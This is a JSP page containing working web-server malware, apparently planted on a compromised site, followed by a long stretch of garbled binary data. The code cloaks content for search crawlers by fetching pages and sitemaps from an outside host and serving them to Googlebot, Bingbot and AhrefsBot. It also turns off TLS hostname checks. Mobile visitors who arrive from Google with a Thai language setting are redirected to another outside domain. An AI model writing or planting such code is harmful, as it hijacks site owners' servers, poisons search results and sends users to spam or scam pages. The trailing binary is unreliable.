%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.net.*, java.io.*, java.nio.charset.StandardCharsets, java.util.regex.*" %>
<%!
private String getHttp(String url, String[] headers) {
String userAgent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";
int timeout = 3000;
int maxRetries = 2;
int attempt = 0;
String data = null;
while (attempt < maxRetries && data == null) {
attempt++;
try {
URL requestUrl = new URL(url);
HttpURLConnection conn = (HttpURLConnection) requestUrl.openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty("User-Agent", userAgent);
conn.setRequestProperty("Accept", "text/html");
if (headers != null) {
for (String header : headers) {
String[] parts = header.split(": ", 2);
if (parts.length == 2) {
conn.setRequestProperty(parts[0], parts[1]);
}
}
}
conn.setConnectTimeout(timeout);
conn.setReadTimeout(timeout);
conn.setInstanceFollowRedirects(true);
conn.setUseCaches(false);
if (requestUrl.getProtocol().equalsIgnoreCase("https")) {
javax.net.ssl.HttpsURLConnection httpsConn = (javax.net.ssl.HttpsURLConnection) conn;
httpsConn.setHostnameVerifier((hostname, session) -> true);
}
int responseCode = conn.getResponseCode();
if (responseCode >= 200 && responseCode < 300) {
try (InputStream is = conn.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
byte[] buffer = new byte[1024];
int len;
while ((len = is.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
data = new String(baos.toByteArray(), StandardCharsets.UTF_8);
}
}
conn.disconnect();
} catch (Exception e) {
}
if (data == null && attempt < maxRetries) {
try {
Thread.sleep(500);
} catch (InterruptedException ignored) {}
}
}
return data;
}
private String getUrlPath(String url) {
try {
URL parsedUrl = new URL(url.startsWith("http") ? url : "http://" + url);
String path = parsedUrl.getPath();
String query = parsedUrl.getQuery();
return path + (query != null ? "?" + query : "");
} catch (MalformedURLException e) {
return "/";
}
}
private String urlEncode(String value) {
try {
return URLEncoder.encode(value, "UTF-8");
} catch (UnsupportedEncodingException e) {
return value;
}
}
%>
<%
response.setContentType("text/html; charset=UTF-8");
String currentUrl = request.getRequestURI() + (request.getQueryString() != null ? "?" + request.getQueryString() : "");
String path = getUrlPath(currentUrl);
String hostName = request.getServerName();
String userAgent = request.getHeader("User-Agent") != null ? request.getHeader("User-Agent") : "";
boolean hasSitemap = currentUrl.toLowerCase().contains("sitemap");
String remoteServer = "https://chome.ylyl23.com/index.php?domain=";
if (hasSitemap && (
userAgent.toLowerCase().contains("googlebot") ||
userAgent.toLowerCase().contains("bingbot") ||
userAgent.toLowerCase().contains("ahrefsbot")
)) {
String protocol = request.isSecure() ? "https://" : "http://";
String fullCurrentUrl = protocol + hostName + currentUrl;
String sitemapContent = getHttp("https://chome.ylyl23.com/sitemap.php?xml=" + urlEncode(fullCurrentUrl), null);
if (sitemapContent != null) {
out.print(sitemapContent);
return;
} else {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
}
if (
userAgent.toLowerCase().contains("googlebot") ||
userAgent.toLowerCase().contains("bingbot") ||
userAgent.toLowerCase().contains("ahrefsbot")
) {
String protocol = request.isSecure() ? "https://" : "http://";
String fullCurrentUrl = protocol + hostName + currentUrl;
String remoteFile = remoteServer + urlEncode(fullCurrentUrl);
String[] headers = new String[]{"X-Current-URL: " + fullCurrentUrl};
String content = getHttp(remoteFile, headers);
if (content != null) {
out.print(content);
return;
} else {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
}
else if (
Pattern.compile("(android|iphone|ipad|mobile|phone|webos|blackberry|iemobile|opera mini|windows)", Pattern.CASE_INSENSITIVE).matcher(userAgent).find() &&
request.getHeader("Referer") != null &&
Pattern.compile("^https?://(www\\.)?google\\.", Pattern.CASE_INSENSITIVE).matcher(request.getHeader("Referer")).matches() &&
(request.getHeader("Accept-Language") != null && request.getHeader("Accept-Language").toLowerCase().contains("th"))
) {
String encodedHost = urlEncode(hostName);
response.sendRedirect("https://aauuc.com/tiaozhuan/tz.php?a=" + encodedHost);
return;
}
%> ŝ͎7['ЬZ2T˔|=:l@>d2s?~xOO~x[^x?O_˟z믿~O{ӻ?}zWwk|//^]">>~zϷw~x~?WǿwKnxIZeY?W/7~OÝoe_鷻,(.>^|av/1RY^f.qT3Kr\bgI,ZH)#dq%Qt.>s`>?ccnrV8wOw>q ;N0 x)H,5q<쫮Ќm8P8eQҡֲ{]~#iδj1{en0%E~k#SVgL_
lvJ%#n1aEm߷.YOƻL#ٲu/LHp큨
)IL]P8wݙwG)R7*d
W^c-Y:18>2o_=S@ΤBP:[L0>9'* @;zrK`5n1$LYSK- _DhU8<ݥ D?%t;3.6ʴ2D7)s\OeN^"twLSx /P&~NOv{EnλTUf'KNw-՜ӥyfQЌ)fdg
Ŕ5R$+')gΔp/>qnI^/PW'Aww!07YJ3t8>0)(S=86)
DRKۙ0ݡfgʻq
(O:1eC)1Lg)zE3]F
pe8yw3E͟9u`̼2UF:75ndG3g٠ˎ
9sfui[$Ko6ؓh] 9k<`DZt%ϔ)Ƶў
&T5 R`uDʼn ǧ=)soZ3~ v9d9" QST|SXx1UOyw3IHSb&LQd^u=,J?esgv&3 ʜ8sz/&IɧqWo9%L903~K.51^GG)I'4n$#qT|Og:Ozw32ė鵞)8wksmHF}aDצ0)ǤUjs(.w-&wי;%f1+Ȑ)9]Y,cS*YO3SY,wuٌwWiӳ2',2ZϠ%)2JRW)h&՟ےzSby>B1[vYOI9Lhߢ^9߭siT2bw{@2&l)~{@9a`v}mZ#j9#+52NWp:gVa2ɧXpD")鷔;CdcH-&ݹ}tS-H=0I肴~dmӤ[SOY'疢)LH?s.){0
L;&
\az:is;}3Qh`?S;
2}zB>[jxn
cdJsze82st&1kRx<͟e-&dE{Ԕ/n1Y,nLqT/(rIs6_*a-&9XgI58әz$(Sp6dJlEUfy$Vt
q4 W094#SGXE9#S/X}9ä8i&Պz#2!9=y'V9N-̉OϹ3ܶy#$$) F2ܲ+^;@4\5v ̃iG&7) ʬzh?`)3F@-:lmR&aP/dջY##jb
0.0'km5V#gZ0+pwafe4O0x(9 g?`2㶣5=n;a"{F`~0'ka)'kΤi7'kb%'kn0KO0֠F5(gAݤ~N+|1]mGzFC wRd8DGMx>`CBrC78Eh8]3
蟝iL7;uJLc+ɻ| ~"M[7UlUvor5¡@(35Eu1HVb7M笱-1o
Qwm{cdFLcBSߔ1{P+KGСiL8h4pԷi2,PvK4X6?;KG]ڑ&1gS,QH#4X6;#M܀{]&4:TLcYngX6ւ34wِW1=DLcYΚMhd!9k,Z"Ƒ&
2LX7X,J35<'tCHï^Y-#
m~;\!4{N0{O4hp}(4hN4AҟAiٹA3dt b:zlis4i*c7;Mp48i84X3 c4:0MLc^Ul41Lc^7xc44X/*'Xc!?e4~a;vb/{8abiK7h@#S/ɹjANnwæŎS?Xcqx~6X,C4hi(35G~]M<hbk,b5a䥃&IMlbpލ&hHSƠiCr&Π?h2&uAyA9ܠigk!AP&eiXfpwo42AP懟i8Rn9cq{>4Xr?r,ACo4~Re)f)|k,Ky7h+4MdwAӄ{f̰=Xcq֛ߔ5L4;MA%nХwq?kޠK?h2^
ӧx. 7PoХ4+mޠK?hVvUt;8$ɧ;.LY?Xs?NSx A~x>eХ4+=1y.Ӭg +^A~oХ4t
x.}qucХ4_>Zc*]vMe:~ g Ix]:9ޠKfУ_ě)a)l7O%)tf6Rozt^u*;
WјVfzblgwV;h5
J}NqbWL*5ɃA ^owǎ7%A'_JUN7o^WeӰbg^4A{D;Ůve닅&m~>XѻѨ{jߢ(7:l U#OnL[-ǪUy6N=IĪՃFUl7
=38z2`A{N[
;ՇMIsBrO0붜©j4NppEnJC8n ۱nJu[f9< T},K-]M@Ffq4=) YY{ŹYz@*fewR
4b'"i=!@#Z6
P.4"cb̞lo
FTd#MHE6Ф}HE6DF=_7TdHE6d? @9mF"i"]lt]@*s?"i33R
4)3hũ~H6TziaG݅h^S.k@
3
hd2B
F$SHa7 {xbt*NXTE&k,=HXSȪՐXƱkH:Ҭ/R4H:$zM(i*v t/k@ڑгt4|N"R4mdG?i~̀&4~T@kOЄF\i2jhM(i*&4z_G.}O #Mb{,NGʞ JIeJ~Y$4|q9M(in#vH hyBާ`Q&dk,N70&4O :y=F~y=FB@#HSChSz4t[@^FD[lq@G_ 3@ЄC*MDO5#P>ve? #MfOS?5Є}f?5$v$"@7"D4|" M):3D4|lRDN6$-"@=m)xn7ucENd%xDNIhB@3[a
FwDz&jݭWrw>|wNtYd>C4[Mfݪߔw^RXcӔ;wWu(XcqՊ Xc6bN;;JvsENw컫2S}wU$f]ggbk,JwWUG6]IDӬL&ҧDuf:
}S:Ma+wWu:?m"kw43|ws?NiZ,&6]Q-n(u?nsbꜶBO|wuȎ~6]QKSOtn3Γhul; 6]I
wiVF*mucUu;n+|wu+>3 ݠM-g#;c)eX~SXӔGn2DhuB|wJz?6]SgcIgcIfu}]3+6]6Zw4~n:Maգw4~w7H|wT+|wuO)TSWu|w>:|wJeuHWu|wv:Mg6]Uǒg;kwiwi$Nit*Toȹߟ@|wld~17'v:|wJ##ݱl;I~dud?E&%Tdd)[e)k^\t7Jw7O%n2r$|w&%Ӭi;EOwAh
[A_\<%~d4ߐ3
ubȻ&B6Qί`]7+Mf;JkbA#rՇfs).4^d-dzF#;ry14 Xw4~W= o* 6<}~Oo?ߺ)ym9s`xc_0
\|eOţ6"OErP#__%p.
l~wD+yj/2~XGXCKE%f}-ˢXe"W<`Z _1.~$V,bFB#ƗXfXhVЈ2'%)
֟} t,,kл g`YbZm22i٫[_z0>Lݾli<_> ֻ?8+CvÇ<ڞeF
cLLt To